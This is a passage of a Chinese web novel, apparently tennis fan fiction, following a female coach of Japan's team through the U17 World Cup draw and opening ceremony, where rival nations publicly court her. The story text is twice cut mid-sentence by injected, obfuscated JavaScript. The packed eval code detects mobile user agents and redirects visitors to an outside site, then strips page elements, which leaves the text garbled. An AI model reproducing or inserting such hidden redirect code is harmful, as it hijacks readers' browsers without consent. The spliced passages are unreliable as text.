七海像是抓住了救命稻草:“平等院,不好意思我马上好,我换个衣服我们就去抽签仪式!”她投了两个安抚的眼神过去,接着快步刷开房门的锁,砰地一声关上了门。 平等院凤凰:“......嗤。” 104.第 104 章 七海站在镜子前满意地打量着自己的装扮:日本队的黑西服外套配白衬衫黑领带,下身是黑色百褶裙配同色中筒皮靴。 只是这样会稍微有点沉闷无趣,她的眼珠子转了一圈,坏心眼地学习西班牙队去买了两个带穗肩章贴在了日本队的西服上,并编了个半扎公主头,找出一个蝴蝶造型的水钻发卡别在后脑勺的束发处。 少女扭了扭身,看着肩上的流苏随身摆动着,笑得自得:“本小姐真帅!”西班牙队的华丽招摇和日本队的沉闷一中和,刚刚好。 今天是抽签仪式,只有各国的抽签代表出场,倒是不必这么费劲打扮,她是为了明天的世界杯开幕仪式先打扮一下试试。 据三船入道说,明日的流程是32个参赛国家的代表队根据种子排名步入主赛场,抽取循环赛的组别并发言,也就是俗称的放狠话。展示结束后再分散到各会场开始表演赛。 表演赛结束,次日起循环赛开始,每组四个国家,两国出线,最后再是十六强赛一直比到决胜赛。 听说墨尔本的皇冠赌场已经开盘了,目前,冠军的大盘里四支种子队伍的赔率高低分别是德国<瑞士<西班牙<法国,势头正猛的美国队和东道主澳大利亚队的赔率也极低。 至于日本嘛,高得没边,几乎没有人买日本夺冠。即使是日本来的观众,也会在为日本队应援的同时默默地去下注第一梯队,很残酷也很真实。 三船入道安排了她去发言,她倒是不意外也乐意接受。本想装模作样地推脱一下让平等院凤凰那个凶神恶煞的大嗓门去发言壮壮士气,当时...... 【“二阶堂,你不是最喜欢出风头,嗯?也让世界听听你和德川那蠢货的声音。” “真的吗,平等院,你不打算去说什么仁义是无法征服世界之类的话吗,这可是面向全世界诶。” “你不是神吗,呵,发表一下你的神谕。” “那我就不和你客气了,我是神。”七海笑眯眯地应下了。】 总之,最后她写出来了一段大约能让全世界人都惊诧万分的装X发言稿。 她另有一事好奇,如果有的国家说的是自己的语言别人听不懂怎么办,却没想到东道主澳大利亚给所有选手和教练等工作人员都配备了同声翻译耳机,就放在房间里,只要戴上,旁人说的话就可以立刻听懂,也不知是什么原理,连买票入场的观众也可以得到一副。 “嘛,这就是金钱的力量吧。”或者说为了圆上这个世界的“剧情”里所有人都会说日语。 七海默默然戴上单边的黑色耳机,打开门和等候多时的平等院凤凰、大石秀一郎一同往抽签会场走去。 她多少有点臭美。“呐,秀一郎,平等院,你们觉得我这身打扮怎么样!”七海脸上的雀跃完全没有掩饰的意思,边走边蹦哒着。 无论如何,过去的一个月她都挺过来了,接下来,只要她关注好场内,不说世界第一,前四强肯定没问题。不,她和平等院带领的队伍一定要拿第一! 大石秀一郎满口夸奖,七海全盘照收。 而平等院这边——“我对女人的打扮没兴趣。”噗哩,老大应该会这么说吧。 七海撇了撇嘴:“切,真没意思。” 一路步行到抽签仪式的会场,她看到了好几张熟悉的面孔,不过最令她瞩目的还是那两人。 “啊,这不是越前和莱因哈特吗!”七海激动地冲着站在阶梯舞台中央过道的金发少年和小不点挥手打了声招呼。老天爷啊,她现在转去当美国队顾问还来得及吗。 莱因哈特闻声望去,笑容和煦:“二阶堂教练,好久不见呐。” 越前龙马应了声,又看向七海身侧的少年:“二阶堂学姐,大石前辈,还有......切。”他没给平等院好脸色看,平等院亦然。 那边大石与越前两人聊着,七海把莱因哈特拉到一边。 “莱因哈特,”七海悲痛道:“我和美国队真是有缘无分。” 莱因哈特不明所以然:“二阶堂教练为什么这么说呢?” “南次郎前辈让我顾问二选一,我选了西班牙队没有选美国队,现在回过头来早知道该选美国队的。” “我只能送你一句话,如果碰到西班牙队,一定要小心,尤其是队长。”她的神情严肃起来,莱因哈特虽然没明白她为什么这么说,还是点了点头。 “七海。”阶梯座位中也有其他人闻讯而动,起身走向她打招呼。 “抱歉,莱因哈特,我先去和别人说几句话。” “加缪,特里斯坦,好久不见啦。”七海笑眯眯地看向来人,加缪还是那副想要迷死人的帅气深情模样,今天他的妻子好像不在身边。 “好久不见。”加缪极其自然地托起她的手行了一个吻手礼,“七海,你今天穿得很有气场。” 七海不着痕迹地抽回手,但决定因为加缪的后半句夸奖原谅他。 “谢谢,我也这么觉得。” 加缪含情脉脉地问道:“七海,做我未婚妻的事考虑得怎么样了呢?” 七海猛地一个激灵,嘴巴微张的模样颇为呆傻:“加缪,我以为你已经放弃了考虑这件事?” “不,我不会放弃让你加入法国队这件事,至死不渝。”至死不渝这种词不是用在这里的吧! “明天,请二阶堂教练等待着我充满爱意的宣言。” 金发少年如春风拂面般的微笑此刻只让七海觉得毛骨悚然,什么叫充满爱意的宣言......明天的国家队放狠话环节,这位爱的革命家,该不会要做出什么惊天动地的事来吧。 加缪折返回自己的位置上,她还另外看到了一个熟人:“哟,阿玛迪斯!你今天一个人来抽签呀?”阶梯坐席的昏暗一角,阿玛迪斯一个人面无表情地坐在位置上。 “嗯,二阶堂教练,你也来了。”阿玛迪斯转头与站在下层的少女对视。 “欧诺基伊哈教练也来了吗?他的身体还吃得消这么远途的飞机吗?” 看出她眼中真诚的担忧,听到她主动关心自家教练,阿玛迪斯的五官线条柔和了几分,解释道:“他来了,现在在房间里休息。” 七海怔愣了一下。82岁的高龄了,跟着自己的少年们满世界跑,怎么可能不辛苦......等世界杯结束之后,先去瑞士帮他们看看教练员的培训情况吧。 “好,我有空会去拜访他。” 仁王雅治从刚才起就看着七海像只黑蝴蝶在不同国家队的选手之间左右逢源,满心无奈,她真的有自己是日本队总教练的自觉吗? “二阶堂,归队。”能用老大的身份命令她的感觉似乎还挺不错的,piyo。 “知道了,来了。” 一路往下走,正巧遇上手冢国光和博格从另一边步入舞台前。 手冢国光正在调整自己的袖口,捕捉到那道身影后便缓缓放下了手: “七海,大石。” 博格也点头示意:“二阶堂教练。” “国光,博格,你们来了。”她的笑容下意识收敛了。 没有办法,这两个人都是严肃担当,大部分时间都摆出一张冷峻的面孔。 国光也就罢了,她......她见过他温柔的神色。主要还是博格,站在他面前根本嬉笑不起来,威严程度比青学的秃头教导主任还可怕。 有时她甚至都在想雷特鲁这个教练当得真轻松,自家选手的很多事根本不需要他管。 “啊。抽签仪式马上开始了。” “嗯,那我们入座吧。” 偌大的阶梯式坐席,“平等院凤凰”随意地找了个空位坐下,接着是大石秀一郎,二阶堂七海,手冢国光自然地坐在了她左侧,博格坐在最外侧。 很快,人员到齐,会场坐席上方的灯一盏盏熄灭,所有光辉都聚拢向舞台上的抽签机器。 七海凝视着身旁少年的侧颜,陷入了沉默。其他国家的代表或三五成群,或独自落座,他却选择了挨着她坐......唉,她该拿他怎么办好。 “七海。”手冢国光突然把脸侧了过来,黑暗中,两人视线交汇。 “诶?” 透过镜片,少年棕黑色的瞳孔中写满认真,“你今天很好看。”他鲜少赞美她的外表,此刻只是一句简单的话语,耳廓便染上了绯红。 不知该庆幸还是惋惜,昏暗之中,她并没有发现他的羞赧。 “谢谢......国光。”她轻声回应。 抽签仪式正式拉开帷幕。 "首先,有请卫冕冠军德国队的代表上台抽取签位!" 台上身材曼妙的女主持人热情地邀请着,手冢国光起身走向聚光灯下,按下了按钮,德国队的抽签结果是7。 七海的思绪突然飘回到海原祭的那个夜晚,在舞会开场前,她抽到的数字也恰好是7,巧合的是,她的名字中也蕴藏着这个数字。 随后,一个接一个的国家队代表陆续登台抽签,都未能抽中7,直到主持人喊出了日本队。 “Let’s wee Japan!” “七海,我有点紧张,要不你去抽?”大石秀一郎满头冒汗,双手下意识揪起裤腿,布料被他攥出了一圈褶皱。他向来抽签运不太好,或许让七海上会更合适些。 “可是......”七海咬唇,犹豫不决的双眸闪烁着。如果让她去抽,她有预感会抽到强队,命运总是爱戏弄她。 “平等院凤凰”冷不丁地开口:“鸡蛋头,这么点小事就紧张真是没用。二阶堂,你上,穿成这样不去抽签不浪费吗?” 他说得好有道理......她被说服了。“那好吧。” 七海起身走到舞台的聚光灯下,台下响起了一些不那么和谐友好的讨论声。 “怎么是个女生来抽签?又没有女选手。” “应该是日本队的教练或者顾问之类的吧。” “看来今年的日本队也不行啊,都沦落到让一个小女生来当教练了。” “但是,我看她刚才好像和第一梯队的几个代表都很熟的样子。” “很熟又怎么了,谁知道是靠什么手段搭上去的......” 手冢国光听到这些恶意的流言蜚语眉头紧锁,他侧过身子,锁定了说闲话的人,胸前的旗帜暴露了他们的身份,是韩国队的两名代表。 “国光,别冲动。”博格冷声制止了他想为她出头的冲动,这个场合并不合适。“仪式结束后,在比赛上靠实力让他们闭嘴。” “......Ja.”少年握紧了拳头。 台上的少女按下了圆柱形按键。 “Seven!” 日本与德国的旗帜相继出现在大屏幕上,醒目而刺眼。七海恍惚地仰头望着屏幕上的两国,命运,果然爱和她开玩笑。 ———————— 换回教练的白色大衣外套,和大石一同回到选手村的休息区时,初中生正选都在。窗外是墨尔本宁静的夜色,室内,天花板上的LED灯条把整片空间照得十分明亮,更反衬出她的颓丧。 七海垂着头涩涩然开口宣布了抽签结果:“大家,抱歉,抽到了德国队。” 仁王雅治无情吐槽:“二阶堂,你的抽签运真差啊,噗哩。” 七海向仁王扫了无数个眼刀过去,接着跌坐在沙发上捂脸长叹:“是我手气差......对不起大家,一上来就抽到了世界第一。” 她和7这个数字是有什么孽缘吗。只是,刚才仁王雅治的话她总觉得怪怪的,是哪里不对劲? “二阶堂,抽到德国队也没什么,正好试试手。”白石藏之介第一个开口安慰。 大石秀一郎也柔声安抚着:“七海,没关系的。” 真田弦一郎沉声:“二阶堂,不必气馁,我们正好可以好好利用这次机会。” 迹部景吾和幸村精市两人得知自己明天就有可能对上德国队,也纷纷放了狠话。 七海收下了这些暖心的安慰话语,只是,他们的自信并没能真正安慰到她多少。七海心中紧了又紧,没有人比她更清楚德国队的强大,尤其是博格,他密谋的可怖绝技。 “总之,我先发条短讯让高中生们也过来这边集合吧,先在赛前和大家再仔仔细细讲讲德国队目前的情况。”七海叹了口气,掏出手机。 【日本必胜】 [19: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017395|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 22]二阶堂七海:@所有人大家现在来中学生休息室一趟,关于明天德国队的出战名单。 不多时,四位教练和高中生们抵达初中生休息室,众人聚坐在一块。 休息室为选手们提供了方便会议使用的触控大屏,七海开机后直接开始解释说明。 “那么,我先下一个定论吧。” 少女冷然道:“明天的表演赛,我们赢不了。”此话一出,初高中生们的脸色毫无例外地暗了暗,整个空间被一股诡异的沉默所笼罩。 “我知道大家听到这样的结论不会高兴,但是,表演赛的性质是让赞助商和媒体关注到优秀的队伍,德国队不可能让自己在这场比赛输给日本队。” “大家都知道,表演赛共三组双打比赛,每组双打分别是高中生加一名初中生。我的推测是,他们会在第一场双打派出两个实力较弱的选手进行试探,根据我的了解,多半是实力较弱的塞弗里德再加一个俾斯麦。” 七海在大屏上写下“D3 俾斯麦+塞弗里德”的字样。 “既然第一场是试探,就有输的可能,即使在他们看来这个可能或许微乎其微。因此后续两场,他们绝不会让自己输,恐怕会派出真正的高手上场。比如,博格。”她轻轻吐出那个最强男人的名字。 “那个职业选手博格?!”切原赤也大呼小叫着,随即被坐在身后的真田弦一郎一掌摁回了沙发里。 不二周助蓝眸乍开:“七海,你确定吗?” 少女缓缓点了点头:“表演赛也是为了让赞助商看到选手的风采,博格作为顶级单打职业选手,在表演赛中作为双打选手之一出镜情有可原。” “但是,德国队也不可能因为输一场就如临大敌。比如他们的最强双打,贝尔蒂和施耐德,让他们出场就是为日本队抬咖了,所以我敢肯定,这对双打不会出场。” 这段解释倒是简单易懂,少年们都没有提出疑问。 “那么这样就剩下了QP,国光,博格和弗兰肯斯坦纳,这四个人组成两组双打。” “我在德国时,曾看到过博格和国光组双打。他们的双打......很特别,总之不太可能是那两个人组。” 七海下意识看了不远处沙发上双手抱臂正襟危坐的平等院凤凰一眼,关于博格的那一招,他们迄今为止还没有商议出很好的应对办法。 “二阶堂,为什么说很特别?”提问的人是站在角落的鬼十次郎。 “他们的双打是为了实验某种技能,具体是什么,这件事我和平等院还在研究,大概率和国光的领域技能还有博格的绝技漩涡的洗礼有关。” 这段话一出口,其他人眼中的神色都复杂了几分,尤其是曾经体验过手冢领域的那几个少年。大概,也有一些奇怪,听起来这似乎是很重要的信息,为什么德国队会让一个对手队伍的教练知道? 丸井文太替许多人问出了这个问题:“七海,你知道的好多啊!德国队都不防着你的吗?” 七海将事情原委缓缓道来:“我原本,并没有想当德国队的顾问。” “在德国时,德国队的教练和我说,如果要看他们打双打就得成为德国队的顾问,我这才答应的。恐怕他们也没想到,我只看了几分钟就觉察出他们的目的。” “又或者......他们有自信,即使我看明白了,我们也无人能破解那尚未完成的一招。” 忍足侑士扶了扶眼镜,慵懒磁性的嗓音中夹杂着无奈:“德国队对我们完全是轻视的态度呐。” “总之,以博格的身份一定是压轴登场,再考虑到初高中生搭配的要求,最后的结果大概率如下。” “D3 俾斯麦+塞弗里德” “D2 QP+国光” “D1 博格+弗兰肯斯坦纳” 七海把她的结论写在大屏幕上,轻叹了口气。 “接下来,就麻烦教练组和数据组根据我之前传回队伍的资料就每个出场选手进行说明和分析,表演赛的分组我不参与,我还有点事,得先走了。” 七海一副火烧眉毛的急切模样再一次激起了少年们的好奇心。他们的天才教练身上总是笼罩着许多神秘的光环,让人,尤其是数据组的三人抓耳挠腮般想知道真相。 一到二阶堂的事,相关数据为0的挫败感时常疯狂上涌,乾贞治发觉自己最近越来越有成为跟踪狂的潜力了。 毛利寿三郎愣了愣:“小七海,你要去干什么?” “二阶堂,大晚上还要去哪里,啊恩?” 他不是总想窥探她的秘密,只是她看起来并不像是要去做什么好事。 “七海,是什么事呢?”幸村精市柔声问道。 “嘛,稍微有点事呐。”七海勉强地笑了笑,一副不欲多言的样子起身快步离开了休息室。 还有两件事,她得分别去西班牙队和美国队一趟,找那两个危险人物,梅达诺雷大抵不会主动与人打比赛,她可放心些,可另外一个人...... 七海人一走,休息室就讨论起来。 “乾,有关于七海去干什么的数据吗?”不二周助笑眯眯地问道。 乾贞治印堂发青,声音透出极强的失落感:“数据组这边目前相关的数据是......0。” 入江奏多观察得敏锐:“二阶堂教练的笑看起来很勉强呐,如果是什么好事她一定不会刻意掩饰。” “噗哩,教练们不知道二阶堂去哪儿了吗?” 从三船等人那里得到的答案是他们也毫不知情。 “要不哪天偷偷跟踪一下公主殿下吧!” 切原赤也的这个主意倒是得到了所有初中生以及几个爱凑热闹的高中生的赞同。 休息室内,关于出战人员的讨论仍在继续。 ---------------------- 数分钟后,月色下,七海支开了在球场上练习对墙击球的越前龙马,看向赛场边的另一人: “越前君,我们来做个交易吧。” 同一片月色下,七海再次跑到西班牙队的住宿区找到了黑夜中站在落地窗边的梅达诺雷。 “梅达诺雷,我们来做个交易吧。” 105.第 105 章 1月初的南半球,温热的季风吹过U17世界杯主赛场上方,阳光洒在地面,蒸腾起热气。围绕着偌大赛场的是鼎沸的人声,各国的观众坐在属于自己国家的坐席上,紧盯着选手入场的通道,翘首以盼。 早在前天,七海所在的三所学校的正选群里就已经炸开了锅,迹部景吾全额出资派私人飞机把想要来看世界杯比赛的少年们全部接了过来,真是他慷慨大方的风格。 甚至于森绿告诉她,冰帝的女网部全员以及冰帝后援团也包机来观赛了。 她不知道的是,还有惊喜在等着她。 此刻,32支队伍按照排名分散地站在候场区,等待主赛场的主持人宣布入场。日本队和第一梯队的四支队伍隔了十万八千里远,她便放弃了找他们闲聊搭话的念头。七海百无聊赖之下掏出西服兜里的手机查看起群消息。 【青学目指第一】 [9:30]桃城武:@二阶堂七海二阶堂学姐,你们什么时候入场呀! [9:31]海堂薰: 学姐很忙,你别老艾特她 [9:31]河村隆:我现在好激动啊![burning表情] [9:31]菊丸英二:@大石秀一郎大石,你们现在在哪儿呢? [9:32]大石秀一郎:我们现在应该是在你们的位置下面? [9:32]菊丸英二:诶!居然是这样的喵 [9:32]不二周助:@河村隆,隆,我们从候场区屏幕上看到你们了,还有崛尾他们^^ [9:33]乾贞治:根据出场顺序,我们将在15分钟后入场 [9:34]二阶堂七海:嗯,因为我们的排名比较靠后,所以出场的还算早啦。 冰帝的群里,还没点开,群消息就已经炸了,七海抽了抽嘴角,点进去发现基本上就是岳人和慈郎这几个孩子在吱哇乱叫,日吉和凤端起来了点新任部长和副部长的派头,倒是沉稳不少。 侧过头看向日本队的候场区后方,忍足侑士捧着手机尽职尽责地在敲字。 辛苦你了,侑士。 立海大这边,胡狼桑原分享了很多张来了墨尔本之后吃到的美食甜点,馋得丸井和赤也在群里狂发表情包,幸村精市直言等比赛结束后就带大家去吃好吃的,柳生比吕士根据她的推测多半是在和仁王雅治私聊着什么,所以没有在群里发言。 “接下来,有请各国代表上场抽签发言!首先,迎面走来的是夏之管共和国的代表队!总教练......” 头顶及候场区的显示屏中前后脚传来了主持人嘹亮的嗓音,各个国家队开始入场。 少女紧捏着手中的发言稿手卡,在心里一遍又一遍地默读着,另又分了一些注意力在上场国家的发言上。 目前来看,他们的发言都还算中规中矩,只有第一个上场的夏之管共和国很特别,他们的宣言是“玩得愉快~”,这也太随意了吧! 不过也不是不能理解,U17世界杯由于是少年组的比赛,氛围相对轻松些,每年都会产出一些震惊世界的发言。 据说上一届,就有在台上表演起奇怪个人技的国家队,还有上台发言完毕就当场向喜欢的女生表白的队伍,这样的欢乐氛围反而是被推崇的,也更容易制造新闻热点。 “二阶堂,紧张了?”她和平等院凤凰一左一右站在队伍的最前端,平等院斜睨了她一眼,她捏手卡未免也捏得太紧了,周围一圈出现了折痕。 七海没有理会平等院的嘲弄,刚听完几个国家的发言,她意识到一个问题。 旁白不仅会介绍国家,还会介绍参赛队伍的教练和队长,那么问题来了,她这个顾问算不算在内呢? 不过,即使算在内,他们的合同也是从世界杯结束之后开始签的,照理来说,今天应该不会出现她的名字。 否则,她岂不就成了五姓家奴了......呸呸,这个名字可不好听。 她还兀自思索着,负责领路的工作人员收到了对讲机里的通知,拿着喇叭跑过来对着日本队乌泱泱一群人大喊:“日本队的各位教练选手们,准备入场了!” 七海收回了心神,与平等院对视了一眼。 “我们走!”两人异口同声道。大帮人马雄赳赳气昂昂地向外走去。 “接下来向我们走来的是日本代表队,总教练二阶堂七海,队长平等院凤凰,有请他们带领的日本队上场!” “啊!我看到部长大人了!”吉川阳菜坐在看台席位上,挥舞着双臂激动得随风摆动。 “笨蛋,你喊再大声部长大人也听不到。”千叶桃子吐槽道。 是的,青学女网部的部员们也被某人偷偷请来了,此刻正和青学的其他少年们坐在一起。只不过刚才七海光顾着看手机信息了,没注意到屏幕上的熟人们。 走出等候区,映入眼帘的是透过那一方屏幕完全无法体会到的景致。 耳畔的欢呼声嘈嘈切切,顺着地面望向天空,视野广阔无边,墨尔本的炽热阳光洒下,甚至有些烫眼。这里是世界杯的主赛场,也是半决赛和总决赛的专用赛场。 观众席上人声鼎沸,欢呼声此起彼伏,仿佛海浪般一波接着一波,各国的旗帜在肤色各异的人群手中挥舞。 七海一走出等候区便看到了,斜对面的一区域坐席上无数张熟悉的脸。甚至还有她们,她只讶异了一瞬就绽放出了灿烂的笑容,她知道只会是他的杰作。 今天不再有学校之分,他们的身份不再是立海,青学,冰帝,四天宝寺,比嘉或是其他的学校成员,那些昔日身份的外衣早已被尽数剥离。 他们是观众,也不只是观众,是她身后这群少年的后盾,是无论多少次回头转身,都会在不远处为他们应援加油的一部分青春。 七海走上最高处的演讲台前,眼眶止不住地泛红。 身后的少年们,他们练习的千千万万个日夜,不为营垒,只为今朝罢了! 她他要亲手将他们送上世界之巅,让他们健全而骄傲地捧起属于他们的奖杯,在漫天金纸簌簌落下时肆意欢呼,痛快落泪。 她清了清嗓子,从主持人手中接过话筒:“大家好,我是日本队的总教练,二阶堂七海。” “首先第一件事,请大家牢记——”她的笑容自信张扬。 “本小姐是这个世界的真神,神不需要征服世界,世界早已在我的掌心之中。” “世人陋劣,神降于此;宣读谕言,日本必胜!” 少女的神谕通过翻译器传递到坐在看台上的每个观众的耳中,也传到了在场外观看着直播的每个观众耳中,全场霎时间一片寂静。 少顷—— “怎么会有人自称是神啊......”路人甲忍不住吐槽。 “如果最后日本拿不了第一,岂不是很尴尬。况且日本怎么可能拿第一。”路人乙十分不屑。 类似的对话出现在了赛场的各个观众方阵中。 “二阶堂学姐......”越前龙马站在后场区难得猫瞳放大露出震惊的表情,这次他终于说不出还远远不够呢这种话了,这太够了,二阶堂学姐,你也太嚣张了。 越前龙雅站在弟弟身边笑出了声,二阶堂,看来你确实是打算当神拯救世界,难怪昨晚找他提了那样的交易请求。 第一梯队的四支种子队伍站在一块,听到台上的小顾问大放厥词倒是没什么波澜。毕竟,他们早就领会过了她的实力,以及睥睨天下的架势。 看台上,各校的少年们也丝毫没有被这一阵仗吓到,芥川慈郎激动地呼喊着“二阶堂,二阶堂!”,宍户亮高喊着“二阶堂帅炸了!”,向日岳人嘴角抽搐,七海,好是你的风格。 坛太一惊掉了下巴,身边的崛尾得意洋洋道:“这就是二阶堂学姐的风格,你不懂也正常。” 至于七海身后的少年们,他们更是早就习惯了,除了远山金太郎大喊了一声“漂亮姐姐好帅!”,其他人无非是笑得宠溺和笑得无奈的区别,留在教练休息室的三船和斋藤四人更是如此。 这是他们选中的人,他们为她感到自豪。 总之,在抽到了B组的结果之后,日本队的少年们走到了赛场上,安静地观摩着后续队伍的入场和发言。 “二阶堂,干得不错。”平等院凤凰站在少女身边不冷不热地夸了一句。 “难得听你夸我呐,平等院。” 日本队之后是世界排名第二十二的瑞典,再紧接着,是中国。七海打起了十二分注意力认真倾听着,即使这个世界的故乡已不是她的故乡。 她如今再世为人,身后的少年们的立场就是她的立场,这个世界的未来就是她的未来,德国,瑞士,法国,西班牙......她所站的地方,或许早已没有了国界之分。 热爱网球的心,在每个人的胸腔内无差别地跳动。 “大家好,我是中国队的队长闫宁。无论有多少人支持,我们始终要站在场上,为每一个支持自己的人拼尽全力,这不在于数量多少,也不在于是在哪块土地上。总之,我们会努力打好每一场比赛,中国队,加油!” 七海忍不住鼓起了掌,这一番话朴素却动人,不愧是她曾热爱生长的土壤。 之后的队伍也是风格各异,有的奔放,有的从容,也有十分模式化的古板发言。 直到四支第一梯队的种子队伍上场,赛场上的热度达到顶峰,直播间的在线观看人数破了新高,意外却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035533|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然降临。 准确来说是针对七海的“意外”。 西班牙队负责发言的是私人飞机上那个秃头教练。 七海扬了扬眉,居然不是梅达诺雷,不过转念一想也很正常,她确实想象不出他那样的阴冷男站在阳光下发言的模样,不搭。 他今天也确实没有出场。 “......西班牙必将取得本次U17世界杯的胜利。同时,请日本队的二阶堂教练在西班牙胜利后务必记得回归西班牙队。”最后一句话带上了点胁迫之意,代理教练发言完毕,场下一片哗然。 候场区,欧诺基伊哈听完西班牙队的发言站到阿玛迪斯身边耳语了几句,阿玛迪斯有些不确信地重复了一遍自家教练的要求,欧诺基伊哈轻抚着胡子,点了点头。 雷特鲁瞥见瑞士队的小心思沉吟片刻,向博格抬了抬手,也不知道叽里咕噜地说了一通什么,博格向来一板一眼的脸上居然貌似出现了一丝波动,雷特鲁的笑容则是一如既往地灿烂和煦。 平等院神色复杂地盯着身侧呆若木鸡状的少女,“二阶堂,这也是你惹出来的好事?” 七海小声嘀咕:“我是无辜的!”只是平等院很显然不信的样子。 看台上——“什么叫让二阶堂学姐回归西班牙队,她是日本队的好不好!”桃城武站起身挥舞着拳头愤愤不平。 海堂薰也直皱眉:“他们这话什么意思?嘶,听起来不怀好意。” 斋藤至看着屏幕前被直播镜头给了特写的少女,杵了杵身侧的黑部由起夫:“呐,黑部,我们让小七海去第一梯队交流,现在这个情况是不是叫做引火烧身。” 然而,更令人瞠目结舌的还不远止于此,接下来的三支队伍—— 法国队加缪:“请二阶堂教练在法国队取得胜利后,选择我们法国吧!我和我的爱人,在法国等你来!这场关于网球的爱的革命,我们共同推行!”言毕,亲了一口他的球拍妻子,对着镜头发射出爱心光束。 瑞士队阿玛迪斯:“......胜者属于瑞士!二阶堂教练,瑞士的阿尔卑斯雪山在呼唤着你,邀请你再次光临。” 阿玛迪斯心下一阵无奈,他家老头子的话,他不得不从,否则他就要倚老卖老说自己快死了,怎么样也要把二阶堂教练请到瑞士来否则没法闭眼如何如何的。 七海听到现在仍然保持着僵立在赛场上的姿态,目瞪口呆,微张的嘴至今也没能合上。 法国队也就罢了,加缪确实喜欢演绎热情奔放的性格。西班牙队不客气的口吻她也不意外,但是阿玛迪斯,你是被欧诺基伊哈教练挟持了吗? 她没想到的是,她猜得和真相八九不离十。 终于,轮到德国队上场了,七海松了口气,德国队应该不至于...... 博格:“......德国必将成为十连冠的缔造者!”德国队的王者霸气令场下掌声雷动,但,还没结束。 “二阶堂教练,请选择德国。”博格面无表情地完成了最后一句发言。 五姓家奴实锤了啊!七海崩溃扶额,事情为什么会变成这样啊! 她是想装X,可从没想过一口气装这么大。只能往好处想了,至少,她的知名度现在在直线飙升,或许以后想改变这个世界的规则会更容易一些吧,毕竟,强国都站在了她的身边。 所有队伍发言完毕,主持人邀请大赛组委会进行了最后的开幕致辞,终于,开幕式正式结束,观众席和赛场上的人流有秩序地四散而去。 接下来是自由活动时间,表演赛将在下午开场。 她......她该干嘛?她只觉得所有人的视线都在往她这边汇聚,用如芒在背来形容也毫无夸张成分。 手冢国光离开德国队,径直穿过其他队伍向她走来,“七海,一起去吃中饭吗?” 塞弗里德黑着脸眺望了七海一眼,他现在可不敢再对这个女人说什么狠话了,他还没有不自量力到和三支强队对决,而且,她确实很强。 “国光......”七海愣愣地回声,穿着黑红色德国队制服的少年走到她面前揉了揉她的头。似乎最近,每次他的出现,他的行动都完全出乎她的意料。他现在,真的变得好主动。 日本队的少年们还在等待离场,迹部景吾冷眼旁观:“手冢,一天到晚往日本队凑,你干脆脱下那身制服回到日本队,啊恩?” 跟着这句话,另一个让七海意想不到的人开口了:“手冢君,听说你已经拒绝了小七海的告白很多次,现在这么积极地找她是为了做什么呢?”是毛利寿三郎。 无数道好奇的视线汇集一处,手冢国光扶了扶眼镜,未曾犹豫片刻: “现在换我追她。” 106.第 106 章 她最终还是没有选择任何人。 她收到了来自幸村精市的短讯,请她去他新买的房子参加暖房派对。 那天晚上大家喝了很多酒,回忆起了初高中时的纷繁往事。七海本想叫车回去,却不知为何唯独这一次醉得如此轻易。醒来时,她已经在一间房间的床上,衣衫整洁,她暗自松了一口气。 “精市?”她推开房门走出去,下楼看到了正在厨房煎玉子烧的幸村精市,他穿着休闲西裤,上身是一件淡紫色的衬衫,袖口挽起,微卷的蓝紫色长发柔顺的垂落着。 她想,如果只看背影,谁又能想到这是一个在网球场上杀伐果断的人呢。 空气中弥漫着黄油和鸡蛋的香气,丝丝缕缕地钻进她的鼻间。 “七海,你醒了。”幸村精市温和地笑着。 “啊,嗯。精市,不好意思昨晚麻烦你了吧,我现在得回去了。”七海拨弄了几下额前的碎发,笑容中带着歉意。 这些年因为绝对主宰的副作用,她一直在家养伤治病,转而去了幕后指挥俱乐部和协会的运行,好处是不用出门上班了,每天都只需要居家办公。 “我在做早饭,特意做了两人份的,吃不完就浪费了。七海,吃了再走吧?”他总是知道该说什么样的话她才不会拒绝他。 “......那好吧。”饭还没做好,她便走到了厨房边聚精会神地围观他做菜。 幸村精市左手拿着煎玉子烧专用的小锅,右手倒蛋液翻蛋卷的动作干净利落,她站在他身边,发丝上淡淡的花香令他无法自控地被分走了注意力。他想,她总是这样,对自己行为的过分狎昵毫无察觉。 比如两个成年人,她在他家的床上醒来,却完全没有过问昨晚有没有发生什么。比如她既然拒绝了他,就该在他提出吃完早饭再走时严词拒绝,而不是接受。 她的每一个动作每一句话,都让他以为他们还有可能,是她赠予自己的错觉,他想他只能却之不恭。 “好了,七海,你去餐桌边等着吧。” “好。”七海弯了弯眉。不愧是精市,回想起高中三年在立海大时,他就已经做玉子烧做得很熟练了,没想到现在成为职业选手后也没有退步。 两人坐在饭桌前,吃着玉子烧、米饭、味增汤并几样小菜,有一搭没一搭地聊着。 “七海,身体恢复得怎么样了?”幸村精市关切道。 “好多了,只是那些精神类药物吃多了,白天容易昏昏沉沉。格雷特说大概再吃一年就不用再吃了吧。” “那些药是要每天吃的吧,你有带在身边吗?” 七海点了点头,视线移向一楼沙发上的黑色小包再收回:“嗯,毕竟有时候还是需要出门,所以放在包里了。” 阳光温和地洒在他清秀的面容上,勾勒出好看的轮廓线条。他的嘴角微微上扬,“那我就放心了。” “诶?”七海抬头愣了愣,手中夹菜的动作停滞了一瞬。 “没什么,你慢慢吃吧。”幸村精市已经吃好了,他默默地仔细地看着她,像是要把她身上的每一个细节都刻画下来。 